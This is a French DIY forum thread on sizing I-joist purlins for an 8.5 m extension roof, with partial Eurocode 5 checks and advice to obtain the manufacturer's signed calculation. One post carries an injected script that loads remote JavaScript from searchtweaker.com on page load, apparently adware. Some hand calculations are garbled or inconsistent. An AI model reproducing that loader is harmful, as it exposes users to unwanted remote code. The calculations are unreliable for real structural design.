Retour
Menu utilisateur
Menu

Espacement entre poutres

Ce sujet comporte 27 messages et a été affiché 13.463 fois
Nouveau sujetPicto plus RépondrePicto reply Picto reply
3
abonnés
surveillent ce sujet
S'abonner
 
Env. 3000 message La Grée Saint Laurent (56)
Pour la poutre à aplomb de 8500mm avec 90 daN/m²pour une pente de 18.7° entra axe 1000mm neige A1 altitude inf à 200m,

nous avons une charge après pondération (coef de sécurité) q = 1.88N/mm

le moment max = q * L² /8

Mmax = 1.88 *8500²/8 = 16.9 10^6 N*mm

or d'aprés trica on a le droit à 28.4 hors coef materiaux

Mkmax= 24.8 * kmod*ksys*kh/im

avec kmod = 0.9 ksys= 1 kh=1 im =1.3

Mkmax = 19.66 * 10^6 Nmm

donc Ok

pour l'effort tranchant on a V = q*L/2

soit Vd = 1.88 *8500/2 = 7990 N

on a droit a 23.9 kN hors coef
Vkmax= 23.9 * kmod/im

Vkmax = 16.5 * kN

donc OK

Une poutre aussi longue est fine à tendance à se tordre (devers), il faut que la poutre soit maintenu régulièrement latéralement. Sinon il faut rajouter un coef kcrit qui va être très faible (Mkmax= 24.8 * kmod*ksys*kh/im * kcrit) coef qui va être au max de 0.4 et donc la poutre serait pas bonne.

qu'a prévu ton charpentier ?

Par contre l’âme peux déverser il faut vérifier le déversement (§ 5.3.1g de l'eurocode) par
hw<70 bw

31.5<70*12
ok

et si hw J'aime !5 bw, il faut alors que :
bw*hw (1+ 0.5(hfc+hft) /hw) Fvod >Vd
310*12(1 +(60+60)/31)Fv0d>Vd
1.4*310*12Fvod>Vd
Fvok = 6.8 N/mm²
Fvod= Fv0k * kmod/im = 4.7 N/mm²
Vd = 7990N précédemment calculé
d’où nous avons bien
5208* 4.7 > 7990
donc Ok

il y a aussi le §5.3.1k et la résistance de la colle que je pense déjà vérifié par le calcul Mk (je dois vérifier)

Pour la poutre 880 çà se complique, comme dit gégé la faire travailler en devers c'est pas des plus simple. Au vu de la longueur il y a forcement des entretoises, feuillards ou autre.

qu'a prévu ton charpentier ?

En supposant la 8800 à l'aplomb, il faut quand même une structure pour encaisser le vent.

En supposant que la totalité des ces autres effort sont repris par autre chose que la poutre soit une poutre qui travail à la flexion simple( devers ou aplomb en négligeant son poids propre le calcul serait identique à un cosinus près)

on a M = 1.88*8800*8800/8 = 18.1 *10^6

toujours ok

et effort tranchant idem toujours ok.

J'ai fait une vérification uniquement au ELU (rupture de la pièce), au ELS (déformation) serait à faire pour un calcul complet mais c'est moins super critique (il y a pas mal de marge au ELU, ce qui fait qu' ELS çà doit passer mais seul un calcul peut l'affirmer).

donc en clair :
Au ELU
la 850 Ok
la 880 manque de donné (contreventement, anti-devers...) mais au vue du calcul partielle on n'est pas dans les choux çà "semble" être ok.

cdt
Citer
Messages : Env. 3000
De : La Grée Saint Laurent (56)
Ancienneté : + de 15 ans
Picto user Voir la fiche
 
Env. 20 message Vendee
Bonjour erwan, les poutres font exactement 470 sur 60/90, j'ai téléphoné à mon fournisseur; désolé pour la mauvaise info du début.
Citer
Messages : Env. 20
Dept : Vendee
Ancienneté : + de 13 ans
Picto user Voir la fiche
 
Env. 3000 message La Grée Saint Laurent (56)
Citation: les poutres font exactement 470 sur 60/90,


et c'est moi qui suis désolé car suivant l'eurocode je cite :
Pour les poutres collées à âmes minces les prescriptions de 5.3.1 s´appliquent à des
âmes en panneaux d´une hauteur inférieure à 35 cm. Pour des hauteurs supérieures,
des validations particulières sont nécessaires.

or avec 47cm -60mm -60mm on dépasse la limite des 35cm. en clair les approximations de l'eurocode sont plus valable et il faut faire une analyse via RDM élément finie (ou autres) pour avoir le comportement de ces grandes poutres suivant la qualité des bois, colles, assemblages qui lui sont propre.

C'est à dire que seul le fabricant sait les formules applicables, le doc (ate) étant là pour faire des pré-dimensionnement mais pas le calcul définitif qui reste propriété et responsabilité du fabricant !

En plus tes valeurs 470 sont pas dans l'Ate donc tu as en plus une fabrication spéciale pour toi !

Citation: désolé


cdt
Citer
Messages : Env. 3000
De : La Grée Saint Laurent (56)
Ancienneté : + de 15 ans
Picto user Voir la fiche
 
Env. 20 message Vendee
Merci de ton aide erwan...j allais de mettre ce petit message car j'ai trouvé sur internet des docs qui explique la pose de ces poutres ainsi que les charges supportées (http://www.guillet-production.com/pdf/poutre-trica-principe.pdf )ce constructeur est le 2eme en vendée qui fabrique ces poutres. Les miennes étant fabriquées comme je t'ai indiqué chez l' autre fournisseur " ligne de trave" qui lui ne possède pas de site internet.je me suis permis donc d'appeler "mon" constructeur(ligne de trave) de ces dites poutres qui (le mec très sympa) m'a indiqué qu'il me faudrait justement des poutres d'une hauteur de 470.... D'après la doc sur internet, ça passerait. Je pense que je vais partir comme ça, qu 'en penses tu ?
Citer
Messages : Env. 20
Dept : Vendee
Ancienneté : + de 13 ans
Picto user Voir la fiche
 
Membre utile Env. 4000 message Champigny Sur Marne (94)
Bonjour
je reste toujours sur ma faim,quelle bonne raison as tu de porter dans le mauvais sens ,alors qu'une portée de 4m te tend les bras?ne me dis pas que c'est pour la pureté de la structure ,parce que là ,avec ces imitations de poutres en osb ,je ne te croirais pas.
gege
Citer
Picto recompense Membre utile
Messages : Env. 4000
De : Champigny Sur Marne (94)
Ancienneté : + de 15 ans
Picto user Voir la fiche
 
Env. 3000 message La Grée Saint Laurent (56)
Citation: http://www.guillet-production.com/pdf/poutre-trica-principe.pdf


trés bien comme doc, en particulier tu remarque sur les charpente les feuillard et autre truc pour prendre les poussé qui déverserait les pannes.

tu as le même phénomène avec tes pannes !!!!

elles supportent pas le moindre efforts sur le coté. Quelle soit posé à l'aplomb ou à devers, il y a automatiquement des efforts sur le coté (neige verticale, vent horizontal) . Il faut absolument des "machins" qui reprenne ces efforts et donc empêche se phénomène de devers !

çà coute quasiment rien de mettre des feuillards à la pose et deux trois bout de bois(madrier), dommage d'avoir des problèmes après cout.

soit attentif a çà !

Citation: D'après la doc sur internet, ça passerait.


je répète seul le fabricant sait les calculer; et je te conseil (impose) quitte à payer un supplément s'il le faut, d'avoir la note de calcul signé !

Citation: qu'il me faudrait justement des poutres d'une hauteur de 470....

que tu ai dans les mains un plan avec la note de calcul pour la reprise de ces efforts sur le coté gênants serait plus que bien, pour t'assurer que ce problème est bien pris en compte.

cdt
Citer
Messages : Env. 3000
De : La Grée Saint Laurent (56)
Ancienneté : + de 15 ans
Picto user Voir la fiche
 
Env. 20 message Vendee
Bonjour gégé, pourquoi veux tu que je mette mes poutres dans l autre sens? je n'aurais qu une seul pente avec une poussée vers l'avant de la construction ?... je penses qu il faut mettre les poutres perpendiculaires à la pente et non parallèles... à moins que je ne comprennes pas
Citer
Messages : Env. 20
Dept : Vendee
Ancienneté : + de 13 ans
Picto user Voir la fiche
 
Membre utile Env. 4000 message Champigny Sur Marne (94)
Bonjur
demande donc à Erwan ce qu'il en pense!
j'ai un toit porteur de 5m avec des madriers tous les 40cm tu tailles en haut et en bas pour avoir un appui horizontal et il n'y a pas de poussées,et comme je te l'ai déja expliqué en charge uniformément répartie ,c'est la déformation qui dimensionne tes poutres soit le cube de la portée( 110 contre 600 dans ton cas ) ,ensuite tu peux aussi mettre une petite ferme triangulaire au milieu de tes 8m et mettre des pannes sympas.rien qu'à l'oeil tu as compris que je n'aimais pas ces nouvelles poutres!
Citer
Picto recompense Membre utile
Messages : Env. 4000
De : Champigny Sur Marne (94)
Ancienneté : + de 15 ans
Picto user Voir la fiche
 
Env. 20 message Vendee
Et qu en pense erwan ???Rolleyes
Citer
Messages : Env. 20
Dept : Vendee
Ancienneté : + de 13 ans
Picto user Voir la fiche
 
Env. 3000 message La Grée Saint Laurent (56)
Heu gégé d'accord avec toi 100%.
mais
Citation: deux pans, la faitière est la poutre de 8m50


donc bon alors ouais bof ...

Citation: Et qu en pense erwan ???


c'est plus la même question !
avant c'était est ce que cette conception est correct/conforme.

maintenant la question est :
auriez vous fait comme çà ?

et là je répond exactement comme gégé, les mêmes conseils que lui !

avec une préférence pour des pannes en lamellé collé (LMC) et (pas obligatoire avec le LMC mais ...) une petite ferme au milieux pour répartir les efforts sur la structure de maçonnerie.

cdt
Citer
Messages : Env. 3000
De : La Grée Saint Laurent (56)
Ancienneté : + de 15 ans
Picto user Voir la fiche
 
Env. 20 message Vendee
Si je fais comme dit gege alors il y a qu?un seul pan. Et pour avoir une pente de 34% il faudrait que je monte l'arrière de 1m36 et comme cette extension est appuyée sur la façade arrière de la maison il faudrait monter des parpaings sur la maison et là j aurais 4m00 de haut pas très beau ....et presque aussi haut que le pignon de la maison qui est de 4m20.



(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
Citer
Messages : Env. 20
Dept : Vendee
Ancienneté : + de 13 ans
Picto user Voir la fiche
 
Env. 3000 message La Grée Saint Laurent (56)
Citation: Si je fais comme dit gege alors il y a qu?un seul pan.


non non non !
La critique de gégé portait pas sur le faite que tu as deux pans. c'est même très bien ! Mais sur la façon et les matériaux employés.

Les poutres en i supportent mal très mal les efforts sur le coté et oblige a faire des structures complémentaires (feuillard ..) que moi et gégé jugeons pas des plus top et des plus pérenne.
De plus faire une charpente en panne uniquement sur 8800mm de long c'est possible mais tous les efforts de la charpente passe par les pignons Les pignons ont intérêt d’être très costaud. Et les largeurs de pannes doivent être conséquente pour l'anti devers. Donc on rajoute pour le devers, bracon button et autre bois soit en gros quasi une ferme !!!!!!!!!!!!!!!
L'ajout d'un ferme répartie très fortement les charges/contraintes donc une structure de maçonnerie plus simple à faire, moins sollicité donc plus durable. et l'anti devers est bien mieux fait.



cdt
Citer
Messages : Env. 3000
De : La Grée Saint Laurent (56)
Ancienneté : + de 15 ans
Picto user Voir la fiche
En cache depuis hier à 13h37
Ce sujet vous a-t-il aidé ?
0
Votez !
0
Votez !

Picto forum C'est intéressant aussi !

Devis ToitureArtisan
Devis Toiture
Demandez, en 5 minutes, 3 devis comparatifs aux professionnels de votre région. Gratuit et sans engagement.
Photos charpentes
Photos charpentes
Picorez des idées en parcourant les photos des constructions des autres !
Photos couverture
Photos couverture
Picorez des idées en parcourant les photos des constructions des autres !
Photos toits terrasses
Photos toits terrasses
Picorez des idées en parcourant les photos des constructions des autres !
3
abonnés
surveillent ce sujet
S'abonner
Partagez cette pagePartagez cette pagePartagez cette pagePartagez cette page
Partagez cette page

Picto forum Autres discussions sur ce sujet :

Voir